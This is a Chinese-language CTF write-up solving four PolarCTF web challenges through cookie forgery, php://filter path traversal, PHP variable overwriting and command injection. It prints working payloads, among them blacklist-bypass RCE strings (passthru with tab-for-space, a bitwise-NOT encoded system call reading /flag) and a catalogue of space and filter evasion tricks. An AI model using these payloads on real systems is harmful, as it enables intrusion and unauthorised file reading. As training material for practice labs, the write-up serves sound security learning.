string(4)\"flag\"}">

polarctf靶场 【web】签到题、简单 rce、蜜雪冰城吉警店、到底给不给flag呢

剁椒排骨 2024-07-19 13:03:01 阅读 78

[web]签到题

考点:Cookie伪造、php伪协议、双写绕

查看源代码

再用bp抓包,根据题目是弟弟,Cookie伪造,将no改为yes

发送

看到可能是base64编码,将其解码

访问其目录

php伪协议结合双写绕过,用伪协议以base64编码进行内容读取

<code>?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

再进行base64解码

[web]简单 rce

考点:rce

<code><?php

highlight_file(__FILE__); //对文件进行语法高亮显示

function no($txt){//定义一个no函数,并传入变量txt

if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){ //preg_match 函数用于执行一个正则表达式匹配

return $txt;//返回参数值

}else{

die("what's up"); //输出一条消息,并退出当前脚本

}

}

$yyds=($_POST['yyds']);//通过POST方式传递参数yyds

if(isset($_GET['sys'])&&$yyds=='666'){ //通过GET方式传递参数sys;并判断

eval(no($_GET['sys']));//调用no函数,并输出

}else{

echo "nonono";//输出nonono

}

?>

命令执行函数:

system() 输出并返回最后一行shell结果。

exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。

passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。(替换system)

shell_exec()

popen()/proc_open()

输出函数:

cat函数 由第一行开始显示内容,并将所有内容输出

tac函数 从最后一行倒序显示内容,并将所有内容输出

nl 类似于cat -n,显示时输出行号

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

sort 文本内容排列

uniq 可以查看

vim 一种编辑器,这个也可以查看

od 以二进制的方式读取档案内容

vi 一种编辑器,这个也可以查看

strings 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

paste把每个文件以列对列的方式,一列列地加以合并

grepgrep { flag.php打印有”{“的一行

sed一种编辑器,可以用sed -f flag.php读取flag

空格绕过:

${IFS}

{IFS}$9

$IFS$9

重定向符:<>(但是不支持后面跟通配符)

水平制表符%09

%0a 回车

%0d换行

$IFS$1

%09(tab)

%20(space)

$IFS

<

方法一:使用未被过滤的命令 ,passthru没有被过滤,%09替换空格。

sys=passthru("ls%09/")

<code>sys=passthru('sort%09/flag');

方法二:字符串转义绕过;适用PHP版本PHP>=7

以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)

以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")

以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串

URL编码协议规定(即 RFC3986 协议):URL 中只允许包含英文字母、数字、以及这 4 个 - _ . ~ 特殊字符和所有的保留字符

sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

[web]蜜雪冰城吉警店

考点:前端修改

查看和源代码,前端修改id=9,

返回页面,点击所更改后的按钮1

[web]到底给不给flag呢

考点:变量覆盖

GET,POST需要有一个满足key为flag的传参。并且value不能等于flag,若想输出执行到最后输出flag,那么变量覆盖时候不能将$flag 的值等于除flag 外的任意值,也就是说在foreach内的变量覆盖过程,需要实现

<code>$$key = $flag

$$value = $flag

$$key = $flag

payload如下

#GET参数

?flag=xxx

#POST参数

_GET[flag]=flag

代码执行过程如下

第一个foreach 循环处理$_POST​数组,传值为_GET[flag]=flag​,变量覆盖过程为

$$key = $value

$key = "_GET";

var_dump($value);#array(1) { ["flag"]=> string(4) "flag" }

$$key = $value;#array(1) { ["flag"]=> string(4) "flag" }

此时注意GET数组的值,$ _GET["flag"]=Polar​,而经过$_POST​的变量覆盖,​$ _GET =array(1) { ["flag"]=> string(4) "flag" }<span> </span>​,故而最开始传GET参数时?flag=xxx,可等于任意值。因为会被POST变量覆盖完成后的值覆盖。

第二个foreach 循环处理$_GET​数组,变量覆盖过程为:

$$key = $$value

$key=flag;

$value=flag;

$$key=$$value;

$$key=$flag;

$flag=$flag;

即实现上述所说,变量覆盖时候不能将$flag的值等于除flag 外的任意值

方法2:

需要get一个flag和post一个flag。然后看了眼函数,其中foreach加上是经典的变量覆盖语句。但是post方法里面的$value没有,POST是可以不用传的。因为isset那里面是&&连接。所以直接get传参一个flag。

先c=flag然后让flag=c。这样被解析之后,就是c=flag&flag=c。从而达到真正输出flag的作用。而不会用一个变量c把flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是flag。payload:

<code>?c=flag&flag=c



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。